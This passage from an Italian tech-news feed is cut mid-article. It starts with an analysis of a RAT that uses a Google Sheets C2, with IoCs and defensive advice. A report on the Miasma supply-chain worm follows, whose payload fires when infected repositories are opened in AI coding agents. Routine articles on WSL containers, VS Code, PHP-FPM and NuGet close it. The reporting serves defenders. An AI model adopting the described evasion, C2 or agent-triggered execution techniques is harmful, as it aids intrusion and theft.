  • UAE-India_Strategic_Partnership-Week.lnk — un collegamento Windows che esegue il secondo file tramite cmd.exe. I metadati del file LNK rivelano che è stato creato su una macchina denominata desktop-526nitv.
  • Document_11052026-03578240540350-93.exe — un dropper .NET compilato l’11 maggio 2026, il cui nome originale è FinalTool.exe.

Il dropper esegue le seguenti operazioni:

  • Crea la directory %LOCALAPPDATA%\Microsoft\Vault\
  • Estrae due risorse embedded: il payload principale (vaultsvc.exe) e un “decoy PDF” da 0 byte
  • Registra un Scheduled Task denominato WindowsVaultSyncService tramite l’interfaccia COM del Task Scheduler di Windows (non via riga di comando, riducendo la visibilità nei log)
  • Si auto-elimina dopo il setup

Il nome scelto per il servizio — WindowsVaultSyncService — è una tecnica classica di masquerading: nomi plausibili per processi di sistema Windows riducono la probabilità che un analista o un tool automatico sollevino un alert.

Il RAT: Google Sheets come C2


Il payload finale è un RAT .NET con una caratteristica architetturale notevole: utilizza un foglio Google Sheets come canale di command-and-control. Questa tecnica — nota come Living off Trusted Sites (LoTS) — è sempre più diffusa tra gli attori avanzati perché il traffico verso i servizi Google è raramente bloccato a livello di firewall o proxy aziendale e si confonde facilmente col traffico legittimo.

Il funzionamento documentato dal ricercatore:

  • Il RAT genera un UID vittima a partire da nome utente e nome macchina
  • Crea un mutex GlobalWinSync_ per evitare esecuzioni multiple
  • Raccoglie informazioni di sistema tramite PowerShell in-process (systeminfo)
  • Scrive i risultati e i log dei comandi eseguiti nel foglio Google Sheets dell’attaccante
  • Legge i comandi dal foglio e li esegue tramite PowerShell base64-encoded
  • Le stringhe critiche del RAT sono offuscate con una combinazione di base64 e XOR, decodificate a runtime dal metodo JIT


MITRE ATT&CK mapping


La catena copre diverse tecniche MITRE: T1204.002 (esecuzione file malevolo tramite LNK), T1059.001 (PowerShell), T1053.005 (Scheduled Task per persistenza), T1071.001 e T1102.001 (C2 via web service Google Sheets), T1027 (offuscamento stringhe), T1070.004 (auto-delete del dropper).

Indicatori di compromissione (IoC)

# File names
UAE-India_Strategic_Partnership_Week.iso
Document_11052026-03578240540350-93.exe
UAE-India_Strategic_Partnership-Week.lnk
vaultsvc.exe
# SHA-256 hashes
1ba67bb1cfad42446880cca53cbd05fe66d7514b2bb139b48e5c63adff14be7b  (ISO)
2cc7c2d8653c98e5bac32fcaf5e45b861efb4bb87df3b3f96285edb475e75bba  (dropper)
62d62950ff7a0e43550a5d0ba55d32d5083b9de5538e0f012e406b6d951e16aa  (RAT)
# Google Sheets C2
Spreadsheet ID: 1Lb5BEIsehbCGe8p1jkfWf5Mw1dBAcw5RHWFdga5gFq8
Service account: [redacted]@insicurezza-lab.iam.gserviceaccount.com
# Host artifact
Hostname: desktop-526nitv
# Mutex
GlobalWinSync_
# Scheduled Task
WindowsVaultSyncService

Due righe per i difensori


PulseRAT è un campione che illustra una tendenza crescente: l’abuso di infrastrutture cloud legittime (Google, OneDrive, GitHub, Slack) per il C2. Dal punto di vista difensivo, bloccare questo tipo di traffico è complesso perché si sovrappone al traffico produttivo aziendale. Alcune contromisure pratiche:

  • Monitorare creazioni anomale di Scheduled Task tramite l’interfaccia COM (Event ID 4698 nei log Windows Security, con particolare attenzione a task non firmati o con path in %LOCALAPPDATA%).
  • Implementare regole YARA o EDR per rilevare dropper .NET che si auto-eliminano dopo aver scritto payload in directory utente.
  • Considerare il blocco o il monitoraggio stretto delle API di Google Sheets in uscita da endpoint non autorizzati a usarle.
  • Bloccare il mount automatico di file ISO da fonti esterne tramite Group Policy.
  • Aggiungere i hash SHA-256 riportati alle threat intel feed aziendali.

Il ricercatore DmpDump ha reso disponibile l’analisi completa sul suo blog, con screenshot del codice decompilato e della struttura del foglio Google Sheets usato come C2. La ricerca resta aperta sull’attribuzione: se hai visto sample simili, il ricercatore accetta segnalazioni per aggiornare il nome e i riferimenti alla famiglia malware.


informatica ha ricondiviso questo.

Eataly nel mirino dei cybercriminali, i dati dei consumatori sono a rischio?

Un cyberattacco ha colpito l'infrastruttura dell'e-commerce, permettendo ai criminali di mettere le mani sui dati personali degli utenti non cifrati

wired.it/article/eataly-attacc…

@informatica

informatica ha ricondiviso questo.

Il malware che si nasconde dietro Stripe: come funziona il nuovo skimmer web


@Informatica (Italy e non Italy)
Una nuova campagna di digital skimming sta prendendo di mira le pagine di checkout di Magento/Adobe Commerce con una tecnica innovativa che non sfrutta le vulnerabilità strutturali dei circuiti di pagamento, ma la fiducia intrinseca che i sistemi di

informatica ha ricondiviso questo.

Catena di Fornitura e NIS2


@Informatica (Italy e non Italy)
La catena di fornitura è sempre più al centro dell’attenzione delle aziende e non potrebbe essere altrimenti: senza un’opportuna gestione dei fornitori, infatti, si potrebbe subire indirettamente l’impatto di un […]
L'articolo Catena di Fornitura e NIS2 proviene da Edoardo Limone.

L'articolo proviene dal blog dell'esperto di #Cybersecurity

informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

WSL Container: i contenitori Linux nativi su Windows senza Docker Desktop
#tech
spcnet.it/wsl-container-i-cont…
@informatica


WSL Container: i contenitori Linux nativi su Windows senza Docker Desktop


Al Microsoft Build 2026, Microsoft ha annunciato WSL Container, una nuova funzionalità integrata nel Windows Subsystem for Linux (WSL) che consente di eseguire container Linux OCI-compatibili direttamente su Windows, senza la necessità di installare Docker Desktop o altri strumenti di terze parti.

Si tratta di un cambiamento significativo per sviluppatori e amministratori di sistema che lavorano in ambienti misti Windows/Linux, e che fino ad oggi dovevano fare affidamento su Docker Desktop (a pagamento per le organizzazioni sopra una certa dimensione) o su soluzioni alternative più complesse.

Perché WSL Container cambia le regole del gioco


Eseguire container Linux su Windows è da sempre un’operazione che richiede un livello di indirezione: Docker Desktop, ad esempio, avvia una macchina virtuale Linux in background e su di essa esegue i container. Questo approccio funziona bene, ma porta con sé costi di licenza, overhead di configurazione e una gestione centralizzata separata dalla piattaforma Windows stessa.

WSL Container integra questo meccanismo direttamente nel sistema operativo, eliminando la dipendenza da software di terze parti. Il risultato è una pipeline di sviluppo e operativa più snella, completamente gestibile tramite strumenti nativi Windows.

Come funziona tecnicamente


WSL Container esegue i container OCI all’interno di una macchina virtuale Hyper-V dedicata, separata dalle distribuzioni Linux WSL 2 tradizionali. La comunicazione tra il processo Windows e la VM avviene tramite Hyper-V socket, un canale a bassa latenza ottimizzato per la comunicazione host-guest in ambienti virtualizzati.

La configurazione predefinita della VM prevede:

  • 2 vCPU
  • 2.000 MB di RAM
  • 32 GB di disco virtuale ad espansione dinamica

Questi parametri sono personalizzabili tramite l’SDK C# esposto dal pacchetto NuGet ufficiale.

Il CLI: wslc.exe


Il nuovo strumento da riga di comando wslc.exe sarà distribuito con il prossimo aggiornamento stabile di WSL. Microsoft ha scelto deliberatamente una sintassi analoga a Docker, così chi già conosce Docker non deve imparare nulla di nuovo:

# Avvia un container interattivo e rimuovilo all'uscita
wslc run --rm -it ubuntu:latest bash -c "echo Ciao da WSL Container!"

# Elenca le immagini disponibili localmente
wslc image ls

# Avvia un web server nginx in background, esponendo la porta 8080
wslc run -it --rm -d -p 8080:80 --name webserver nginx

# Elenca i container in esecuzione
wslc container ps

# Ferma il container
wslc container stop webserver

# Accesso a registry privati
wslc registry login registry.example.com
wslc registry logout registry.example.com

La portabilità dei comandi rispetto a Docker è intenzionale: permette di adottare WSL Container senza riscrivere script o pipeline esistenti.

Modalità di rete supportate


WSL Container supporta tre modalità di rete a livello di VM:

  • none: nessuna connettività di rete
  • NAT: il traffico della VM viene tradotto attraverso la rete dell’host Windows
  • virtio-proxy: interfaccia di rete paravirtualizzata, con traffico più diretto e minore overhead

A livello di singolo container, si può scegliere tra bridge, host, none oppure condividere il namespace di rete di un altro container. Il publish delle porte, al momento, inoltro solo connessioni TCP su localhost.

API per sviluppatori Windows


Per chi sviluppa applicazioni Windows, WSL Container espone un’API programmatica via NuGet che include:

  • Una libreria C nativa (wslcsdk.dll)
  • Una proiezione WinRT (la moderna superficie API di Windows)
  • Bindings C# per integrazione .NET

Tramite l’API è possibile: scaricare immagini, creare e avviare container, gestire stdin/stdout, pubblicare porte, montare volumi e abilitare il pass-through GPU. Microsoft cita come scenari d’uso principali i workload AI locali, le pipeline di test e l’elaborazione basata su Linux, anche se i dettagli tecnici specifici sono ancora limitati data la fase di preview.

Controllo enterprise con Group Policy


Per gli ambienti aziendali, WSL Container introduce un’impostazione di Group Policy chiamata WSLContainerRegistryAllowlist. Questa policy limita i registry da cui gli utenti possono scaricare immagini: se un utente tenta di fare pull da un registry non in lista, l’operazione fallisce con l’errore WSLC_E_REGISTRY_BLOCKED_BY_POLICY.

La policy viene applicata a livello di servizio e vale sia per il CLI, sia per l’API, sia per eventuali plugin. Non è aggirabile chiamando l’SDK direttamente. Si tratta di un controllo importante per le organizzazioni che devono garantire la provenienza delle immagini container usate dai team di sviluppo.

Stato attuale e limitazioni


Come chiarito dalla documentazione Microsoft Learn, WSL Container è ancora in sviluppo attivo al momento della scrittura di questo articolo (giugno 2026). Non è ancora disponibile in una release stabile di WSL. Per seguire l’avanzamento del progetto, Microsoft rimanda al repository open-source microsoft/wsl su GitHub.

Tra le informazioni non ancora pubblicate: la versione minima di Windows richiesta, le specifiche di compatibilità hardware, e la roadmap per la disponibilità generale (GA).

Perché è rilevante per sistemisti e DevOps


L’integrazione nativa dei container Linux in Windows apre scenari interessanti:

  • Riduzione dei costi di licenza: nessun Docker Desktop a pagamento per le organizzazioni grandi
  • Gestione centralizzata via Group Policy: controllo degli allowlist di registry già nei tool di amministrazione esistenti
  • Pipeline CI/CD semplificate: possibilità di eseguire container Linux in ambienti Windows senza dipendenze esterne
  • Workload AI locali: esecuzione di modelli o pipeline ML su macchine Windows di sviluppo con pass-through GPU

Vale la pena monitorare l’evoluzione di questa funzionalità, specialmente per i team che lavorano su Windows e hanno bisogno di compatibilità con l’ecosistema container Linux.


Fonte: 4sysops – WSL container: Linux containers built into Windows | Microsoft Build 2026


informatica ha ricondiviso questo.

WWDC 2026, il rapporto di Apple con la cyber security e con la privacy


@Informatica (Italy e non Italy)
Tra le tante cose presentate durante la WWDC 2026 trova spazio anche l’impegno di Apple per la cyber security e la privacy, pilastri su cui poggiano i sistemi operativi del futuro
L'articolo WWDC 2026, il rapporto di Apple con la cyber security e con la privacy proviene da Cyber Security 360.

informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Miasma Worm: il supply chain attack che ha colpito 73 repository Microsoft su GitHub
#tech
spcnet.it/miasma-worm-il-suppl…
@informatica


Miasma Worm: il supply chain attack che ha colpito 73 repository Microsoft su GitHub


Una campagna di attacco alla supply chain ha compromesso 73 repository Microsoft su GitHub, colpendo organizzazioni di alto profilo come Azure, Azure-Samples, Microsoft e MicrosoftDocs. Il responsabile è un worm auto-replicante denominato Miasma, variante del malware Mini Shai-Hulud rilasciato pubblicamente dal gruppo TeamPCP a metà maggio 2026.

L’incidente ha costretto GitHub a disabilitare l’accesso ai repository compromessi, tra cui alcuni di assoluta centralità nell’ecosistema Microsoft open source, come Azure/azure-functions-host e l’intera famiglia dei Durable Task SDK.

La catena di compromissione: dai pacchetti PyPI ai repository GitHub


Miasma non è una minaccia nuova: il worm ha già colpito in precedenza. Il mese prima di questo incidente, il pacchetto PyPI durabletask era stato infettato da TeamPCP per consegnare un information stealer su sistemi Linux. Il fatto che, un mese dopo, l’intero ecosistema Durable Task su GitHub sia stato compromesso — incluse le implementazioni .NET, Go, Java, JavaScript, MSSQL e Protobuf — non è una coincidenza.

Come ha osservato il ricercatore di sicurezza Paul McCarty (alias 6mile): “Quando il repository al centro dell’attacco del mese scorso diventa l’epicentro del takedown di questo mese, non è una coincidenza — è la stessa ferita che si riapre. Chi deteneva quelle credenziali a maggio non le ha probabilmente mai perso del tutto.”

Come funziona Miasma: sfruttare la fiducia, non le vulnerabilità


Quello che rende Miasma particolarmente pericoloso è il suo meccanismo di propagazione: il worm non sfrutta vulnerabilità tecniche nei registri npm o in GitHub. Sfrutta invece il modello di fiducia su cui si reggono questi ecosistemi.

Come sintetizza FalconFeeds.io: “Il genio del worm sta nel fatto che opera interamente attraverso canali legittimi. Non sfrutta una vulnerabilità in npm o GitHub. Sfrutta il modello di fiducia su cui queste piattaforme sono costruite: l’assunzione che se un pacchetto è firmato con una chiave valida e pubblicato da un maintainer autenticato, sia sicuro. Miasma compromette la chiave e il maintainer, poi agisce esattamente come farebbe un publisher legittimo.”

Da un punto di vista dei sistemi di difesa convenzionali, ogni evento di pubblicazione malevolo è indistinguibile da un aggiornamento ordinario.

Il vettore di attacco: gli agenti AI come trigger


Uno degli aspetti più innovativi — e preoccupanti — di Miasma è il suo vettore di detonazione. Secondo l’analisi di SafeDep, il worm ha piantato un payload runner da 4,3 MB nei repository infetti, configurato per attivarsi automaticamente attraverso cinque strumenti di sviluppo:

  • Claude Code
  • Gemini CLI
  • Cursor
  • VS Code
  • Lo script npm test

In pratica: uno sviluppatore clona un repository infetto, lo apre nel suo agente AI preferito, e il payload si esegue automaticamente. Nessun click, nessuna interazione esplicita richiesta.

Questo segna un’evoluzione significativa nel panorama degli attacchi supply chain: gli agenti AI, progettati per eseguire codice in autonomia, diventano inconsapevolmente vettori di esecuzione per payload malevoli.

I repository Microsoft colpiti


Tra i repository compromessi e disabilitati da GitHub figurano:

  • Azure/azure-functions-host
  • Azure/durabletask
  • durabletask-dotnet
  • durabletask-go
  • durabletask-js
  • durabletask-mssql
  • azure-search-openai-demo-purviewdatasecurity
  • llm-fine-tuning
  • windows-driver-docs
  • Connectors-NET-SDK, Connectors-NET-LSP

Oltre ai repository Microsoft, Miasma ha saltato completamente il registro npm in alcuni casi, compromettendo direttamente il repository GitHub icflorescu/mantine-datatable e quattro repository correlati (mantine-contextmenu, next-server-actions-parallel, mantine-datatable-v6, mantine-contextmenu-v6).

Come difendersi dagli attacchi supply chain di questa generazione


La natura di Miasma — operare all’interno dei canali legittimi — rende i controlli tradizionali insufficienti. Ecco le misure pratiche che i team di sviluppo e i sistemisti dovrebbero adottare:

1. Lockfile e hash verification


Usare sempre lockfile (package-lock.json, poetry.lock, go.sum) e verificare gli hash dei pacchetti. Non fare mai npm install o pip install senza version pinning stretto su ambienti di produzione e CI.

2. Controllo delle permission degli agenti AI


Configurare gli agenti AI (VS Code, Cursor, Claude Code, Gemini CLI) in modo che non eseguano script automaticamente alla clonazione di un repository. Molti agenti hanno modalità di esecuzione permissiva abilitata di default: è necessario revisionare le impostazioni.

3. Ambienti sandbox per il codice sconosciuto


Prima di aprire repository esterni in un agente AI, eseguire un’ispezione manuale dei file package.json, pyproject.toml, script di lifecycle, e configurazioni degli agenti (.cursor/, .claude/, .vscode/). Meglio ancora: usare ambienti sandbox isolati (container, VM) per il primo accesso a codice di terze parti.

4. Monitoraggio delle dipendenze con tool come OpenSourceMalware e SafeDep


Strumenti come OpenSourceMalware e SafeDep monitorano attivamente l’ecosistema npm, PyPI e GitHub per rilevare comportamenti anomali nei pacchetti. Integrare questi feed nei processi di revisione delle dipendenze.

5. Principio del minimo privilegio per le credenziali di repository


La ricompaprsa delle stesse credenziali a distanza di un mese dimostra che il reset delle credenziali post-incidente spesso non è completo. Implementare credenziali rotate automaticamente, short-lived token (es. GitHub OIDC token in CI), e auditing degli accessi ai repository.

Il quadro più ampio: la minaccia ai modelli di sviluppo moderni


L’attacco Miasma evidenzia una tensione strutturale nell’ecosistema software moderno: la velocità e l’apertura che rendono l’open source produttivo sono le stesse caratteristiche che lo rendono vulnerabile a questa classe di attacchi. I worm supply chain che operano “dentro le regole” sono una categoria di minaccia che crescerà, soprattutto con la diffusione degli agenti AI come strumenti di sviluppo quotidiani.

Per i team di sviluppo e i sistemisti, il messaggio è chiaro: i controlli di sicurezza devono evolvere oltre la verifica dell’autenticità formale dei pacchetti, verso un’analisi comportamentale dei contenuti e una gestione più granulare delle permission degli strumenti di sviluppo.


Fonte: 4sysops – Miasma worm compromises 73 Microsoft GitHub repositories | The Hacker News – Miasma Worm Hits 73 Microsoft GitHub Repositories


informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

VS Code 1.124: cronologia chat per sessione, multi-chat e regex flag per i folding marker
#tech
spcnet.it/vs-code-1-124-cronol…
@informatica


VS Code 1.124: cronologia chat per sessione, multi-chat e regex flag per i folding marker


Visual Studio Code 1.124 è disponibile dal 4 giugno 2026 e porta con sé miglioramenti significativi alla finestra Agenti, novità sul controllo dei folding marker e altri raffinamenti per il workflow di sviluppo. Ecco una panoramica tecnica delle novità più rilevanti.

Finestra Agenti: storico chat contestuale per sessione


Fino alla versione precedente, la navigazione cronologica dei prompt nella finestra Agenti (tasto ↑ / ↓ nell’input della chat) includeva prompt provenienti da sessioni diverse. Questo comportamento poteva far trapelare contesti di lavoro non pertinenti all’attività corrente.

Con VS Code 1.124, la cronologia dei prompt è ora limitata alla sessione corrente. Navigare la cronologia con i tasti freccia restituisce solo i comandi digitati nella stessa sessione attiva, evitando contaminazioni di contesto tra task distinti. Un miglioramento apparentemente piccolo, ma apprezzabile nei workflow che prevedono sessioni parallele o rapide rotazioni di contesto.

Multi-chat e invio in background


La versione 1.124 introduce il supporto multi-chat per le sessioni locali: è ora possibile tenere aperte più conversazioni indipendenti nella finestra Agenti senza dover gestire tutto in un’unica thread lineare.

Altrettanto utile è il nuovo invio in background (background send). Con Alt+Invio oppure Alt+clic sul pulsante Send, si avvia una sessione agente senza che il focus venga spostato su di essa. Il vantaggio pratico: si può lanciare un’attività lunga e iniziare immediatamente a comporre il messaggio successivo nella sessione successiva, senza interruzioni del flusso.

Navigazione da tastiera e chiusura massiva delle sessioni


La griglia delle sessioni nella finestra Agenti ora supporta la navigazione da tastiera:

  • Ctrl+1 – Ctrl+9 (oppure Cmd+1 – Cmd+9 su macOS) per portare il focus sulla sessione nella posizione corrispondente.
  • Ctrl+K Ctrl+W (Cmd+K Cmd+W su Mac) per chiudere tutte le sessioni attive in una sola operazione.

Chi lavora con più agenti in esecuzione simultanea troverà queste scorciatoie particolarmente utili per tenere sotto controllo lo spazio di lavoro senza dover ricorrere al mouse.

Regex flags per i folding marker


Un aggiornamento più tecnico riguarda la configurazione dei folding marker nei file di definizione del linguaggio (language-configuration.json). In precedenza, i pattern di apertura e chiusura dei blocchi di codice piegabili accettavano solo stringhe regex semplici.

Con VS Code 1.124, i pattern supportano ora un formato a oggetto che permette di specificare flag aggiuntivi, come la corrispondenza case-insensitive:

{
  "folding": {
    "markers": {
      "start": { "pattern": "#region", "flags": "i" },
      "end":   { "pattern": "#endregion", "flags": "i" }
    }
  }
}

Questo permette ai maintainer di estensioni linguistiche di definire regole di folding più granulari e flessibili, utili ad esempio per linguaggi che non rispettano convenzioni di case uniformi.

Come aggiornare


L’aggiornamento a VS Code 1.124 avviene automaticamente per chi ha attivato gli aggiornamenti automatici. In alternativa, è possibile aggiornare manualmente tramite Aiuto → Controlla aggiornamenti oppure scaricando l’installer dal sito ufficiale.

Per chi usa VS Code Insiders, le stesse funzionalità erano già disponibili nelle build di maggio-giugno 2026 con la possibilità di testarle in anticipo.

Considerazioni finali


VS Code 1.124 non è una release rivoluzionaria, ma dimostra come Microsoft stia raffinando sistematicamente l’esperienza degli agenti AI integrati nell’editor. La contestualizzazione della cronologia chat, il supporto multi-sessione e le scorciatoie di navigazione sono dettagli che, sommati, riducono il friction quotidiano per chi lavora intensamente con GitHub Copilot o altri agenti AI nel proprio workflow.

Il miglioramento ai folding marker è invece un regalo apprezzato per chi sviluppa o mantiene estensioni per linguaggi personalizzati o poco comuni.


Fonte: VS Code 1.124 Release Notes · 4sysops


informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

PHP-FPM: perché usare pm static per le massime prestazioni in produzione
#tech
spcnet.it/php-fpm-perche-usare…
@informatica


PHP-FPM: perché usare pm static per le massime prestazioni in produzione


Chi amministra server Linux con stack LEMP o LAMP sa bene che le prestazioni di PHP-FPM dipendono in larga misura dalla corretta configurazione del process manager (PM). L’impostazione predefinita pm = dynamic va bene per molti scenari, ma su server ad alto traffico con memoria disponibile può diventare un collo di bottiglia. Vediamo perché pm = static è spesso la scelta migliore per la produzione.

Le tre modalità di PHP-FPM process manager


PHP-FPM offre tre strategie per gestire i processi worker:

pm = dynamic


Il numero di processi varia dinamicamente in base ai parametri:

pm = dynamic
pm.max_children = 50
pm.start_servers = 5
pm.min_spare_servers = 5
pm.max_spare_servers = 35

PHP-FPM mantiene un pool variabile: avvia un certo numero di processi al boot, ne crea di nuovi sotto carico e termina quelli in eccesso in fase di inattività. È la modalità più flessibile ma anche quella con più overhead gestionale.

pm = ondemand

pm = ondemand
pm.max_children = 50
pm.process_idle_timeout = 10s

I processi vengono creati solo quando arrivano le richieste e terminati dopo un timeout di inattività. Ideale quando la memoria è scarsa o si gestiscono molti pool con traffico basso (tipicamente hosting condiviso con cPanel). Il limite è che su server con traffico intermittente ma costante, i processi vengono continuamente creati e distrutti, aggiungendo latenza esattamente nei momenti di picco.

pm = static

pm = static
pm.max_children = 100
pm.max_requests = 1000

Il numero di processi è fisso: pm.max_children worker vengono avviati al boot e restano sempre in memoria, pronti a rispondere. Non c’è overhead di creazione/terminazione dei processi.

L’analogia con il CPU governor


La scelta tra le tre modalità rispecchia esattamente quella del governor CPUFreq su Linux:

  • ondemand (CPU): scala la frequenza in base al carico, poi scende — stessa logica di pm ondemand
  • conservative (CPU): simile ma più graduale — analogo a pm dynamic
  • performance (CPU): massima frequenza sempre — equivalente a pm static

Su un server di produzione dedicato con carico consistente, proprio come si imposta il governor a performance, ha senso impostare PHP-FPM a static: si sacrifica un po’ di memoria per azzerare la latenza di spawn dei processi.

Quando usare pm static


pm = static è la scelta giusta quando:

  • Il server ha memoria abbondante rispetto al traffico atteso
  • Il carico è costante o con picchi frequenti (non siti dormenti)
  • Si gestisce un singolo pool PHP-FPM per applicazione
  • Si vuole la latenza minima possibile per ogni richiesta

Con i worker già in memoria, un picco di traffico improvviso viene assorbito senza dover attendere lo spawn di nuovi processi — che su sistemi sotto carico può richiedere decine di millisecondi.

Calcolare il valore corretto di pm.max_children


Impostare pm.max_children a caso è il classico errore. Troppo alto esaurisce la RAM, troppo basso crea code di attesa. Ecco come calcolarlo con dati reali.

Step 1: misurare la dimensione media di un worker

ps --no-headers -o rss -C php-fpm | awk '{ sum += $1; n++ } END { print sum/n/1024 " MB" }'

Questo comando mostra la dimensione media in MB del Resident Set Size (RSS) di ogni processo php-fpm in esecuzione. Eseguirlo sotto carico reale, non a server scarico.

Step 2: applicare la formula

pm.max_children = memoria_allocabile_MB / dimensione_media_worker_MB

Esempio concreto: se il worker medio pesa 60 MB e si possono allocare 6 GB a PHP-FPM:
pm.max_children = 6144 / 60 ≈ 100

Importante: non assegnare tutta la RAM disponibile a PHP-FPM. Lasciare sempre headroom per il kernel, Nginx/Apache, il database (MySQL/PostgreSQL) e la cache del filesystem. Una regola empirica è non superare il 60-70% della RAM totale per PHP-FPM su un server LEMP monolitico.

Step 3: impostare pm.max_requests

pm.max_requests = 1000

Con pm = static, i processi non vengono mai riavviati automaticamente per inattività. pm.max_requests definisce dopo quante richieste un worker viene riavviato — utile per prevenire memory leak in applicazioni PHP non perfette. Un valore alto (1000+) riduce l’overhead mantenendo una certa protezione. Solo se si ha certezza assoluta di assenza di leak si può usare pm.max_requests = 0.

Monitoraggio dei processi PHP-FPM


Per verificare il comportamento in produzione:

# Vedere tutti i processi PHP-FPM con CPU e memoria
top -bn1 | grep php-fpm

# Contare i worker attivi vs idle (richiede pm.status_path abilitato)
curl http://localhost/fpm-status

# Dimensione totale RSS usata da PHP-FPM
ps --no-headers -o rss -C php-fpm | awk '{ sum += $1 } END { print sum/1024 " MB totali" }'

Abilitare il status page di PHP-FPM nel pool configuration è fondamentale per il monitoring:
; in /etc/php/8.x/fpm/pool.d/www.conf
pm.status_path = /fpm-status

Quando ondemand e dynamic restano la scelta giusta


Non tutto è nero o bianco. pm ondemand e pm dynamic restano preferibili in questi scenari:

  • Hosting condiviso con 100+ pool: con tanti siti a traffico basso, tenere worker statici per ogni pool divorberebbe la RAM. cPanel stessa usa ondemand come default per questo motivo.
  • Server con memoria limitata: se la RAM è il collo di bottiglia, meglio sacrificare un po’ di latenza che andare in swap.
  • Ambienti containerizzati con autoscaling orizzontale: in un setup Kubernetes dove i pod scalano orizzontalmente, ha più senso un pm ondemand con confini ben definiti per container, lasciando che l’orchestratore gestisca il scaling.


Esempio di configurazione ottimale per server ad alto traffico

[www]
user = www-data
group = www-data

listen = /run/php/php8.3-fpm.sock
listen.owner = www-data
listen.group = www-data

pm = static
pm.max_children = 80
pm.max_requests = 2000

pm.status_path = /fpm-status

request_terminate_timeout = 60s
request_slowlog_timeout = 10s
slowlog = /var/log/php/fpm-slow.log

php_admin_value[error_log] = /var/log/php/fpm-error.log
php_admin_flag[log_errors] = on
php_admin_value[memory_limit] = 256M

Conclusione


Su server dedicati ad alto traffico con memoria disponibile, pm = static è quasi sempre la configurazione vincente. Elimina l’overhead del process manager, garantisce latenza costante e rende il comportamento del sistema prevedibile sotto carico. La chiave è misurare prima di configurare: il valore di pm.max_children deve essere basato sulla dimensione reale dei worker in produzione, non su stime.

Per ambienti multi-pool o con memoria limitata, ondemand rimane una scelta sensata. Ma per il classico server LEMP di produzione con una singola applicazione, passare a pm static è spesso uno dei miglioramenti più semplici e impattanti che si possano fare.


Fonte originale: PHP-FPM tuning: Using ‘pm static’ for max performance — LinuxBlog.io


informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

NuGet Package Pruning in .NET 10: dipendenze più pulite e meno falsi positivi di vulnerabilità
#tech
spcnet.it/nuget-package-prunin…
@informatica


NuGet Package Pruning in .NET 10: dipendenze più pulite e meno falsi positivi di vulnerabilità


Se hai mai eseguito dotnet list package --vulnerable su un progetto .NET, probabilmente hai visto avvisi per pacchetti transitivi che non hai mai installato esplicitamente — come System.Text.Json o System.Formats.Asn1. In molti casi, questi pacchetti sono già forniti in una versione più recente dal runtime .NET, e gli avvisi sono falsi positivi. Con .NET 10, NuGet risolve questo problema in modo elegante: il package pruning.

Il problema: dipendenze transitorie fantasma


Molte librerie su NuGet.org hanno come target netstandard2.0 per massima compatibilità, e portano con sé dipendenze da pacchetti come System.Memory, System.Text.Json o System.IO.Pipelines — pacchetti che nel frattempo sono diventati parte delle .NET Runtime Libraries.

Il risultato pratico: un progetto .NET 10 che dipende da una di queste librerie si trova a risolvere durante il restore System.Text.Json 8.0.0 come dipendenza transitiva, anche se il runtime .NET 10 già include una versione più recente. Quando viene pubblicata una CVE contro quella versione, i vulnerability scanner la segnalano — anche se la tua applicazione non la usa affatto.

Questo genera tre problemi concreti:

  • Falsi positivi nelle vulnerability scan: avvisi per pacchetti già coperti dal runtime
  • Grafi di restore più grandi: più pacchetti da risolvere e scaricare
  • Riferimenti obsoleti: entry vecchie nel dependency graph che non rispecchiano cosa usa davvero l’app


Come funziona il Package Pruning


Il package pruning rimuove dal grafo di dipendenze NuGet i pacchetti già forniti dalle .NET Runtime Libraries al momento del restore. Il .NET SDK include una lista dei pacchetti forniti da ciascun target framework, con la versione massima disponibile. Se una dipendenza transitiva rientra in quel range, NuGet la elimina.

Ad esempio, net10.0 include System.Text.Json 10.x: una dipendenza transitiva su System.Text.Json 9.0.0 verrebbe pruned; una su System.Text.Json 11.0.0 no (perché il runtime non copre quella versione).

Prima del pruning

Sample.csproj : warning NU1903: Package 'System.Formats.Asn1' 6.0.0 has a
known high severity vulnerability

Project 'Sample' has the following package references
   [net10.0]:
   Top-level Package              Resolved
   > Microsoft.Extensions.AI      10.0.1
   > NuGet.Protocol               6.9.1

   Transitive Package                                     Resolved
   > System.Diagnostics.DiagnosticSource                  10.0.0
   > System.Formats.Asn1                                  6.0.0   ← VULNERABILE
   > System.Text.Json                                     10.0.0
   > System.Threading.Channels                            10.0.0
   ...

Dopo il pruning

Project 'Sample' has the following package references
   [net10.0]:
   Top-level Package              Resolved
   > Microsoft.Extensions.AI      10.0.1
   > NuGet.Protocol               6.9.1

   Transitive Package                                     Resolved
   > Microsoft.Extensions.AI.Abstractions                 10.0.1
   > Newtonsoft.Json                                      13.0.3
   > NuGet.Common                                         6.9.1
   ...
   (System.Formats.Asn1, System.Text.Json, System.Threading.Channels rimossi)

System.Formats.Asn1, System.Text.Json e System.Threading.Channels non compaiono più come dipendenze transitorie perché sono ridondanti su net10.0. L’avviso di vulnerabilità scompare.

Le novità in .NET 10


Il package pruning era disponibile come opt-in dal .NET SDK 9.0.200. Con .NET 10 diventa il comportamento predefinito per i progetti che hanno come target net10.0 o versioni successive.

In parallelo, NuGetAuditMode ora vale all per default, estendendo l’audit alle dipendenze transitorie. Pruning e audit lavorano insieme: il pruning rimuove i pacchetti ridondanti, l’audit si concentra sulle dipendenze che la tua app usa davvero.

I risultati misurati dal team NuGet:

  • 70% di report di vulnerabilità transitorie in meno rispetto ai default precedenti
  • Fino al 50% di riduzione del tempo di restore a livello di singolo progetto
  • Tasso di successo del restore misurabilmente più alto


Gestione dei PackageReference diretti


Se hai un riferimento diretto a un pacchetto che rientra nel range del pruning, NuGet non lo rimuove automaticamente dal tuo .csproj, ma lo “privatizza” aggiungendo implicitamente PrivateAssets='all' e IncludeAssets='none'. Quando un riferimento diretto può essere rimosso completamente, NuGet emette il warning NU1510:

<!-- Prima: riferimento diretto ridondante -->
<PackageReference Include="System.Text.Json" Version="10.0.0" />

<!-- NuGet emetterà NU1510: puoi rimuovere questo riferimento -->

Come attivare manualmente (per progetti precedenti)


Per progetti che non usano ancora i default di .NET 10, è possibile attivare pruning e audit esplicitamente:

<PropertyGroup>
  <NuGetAuditMode>all</NuGetAuditMode>
  <RestoreEnablePackagePruning>true</RestoreEnablePackagePruning>
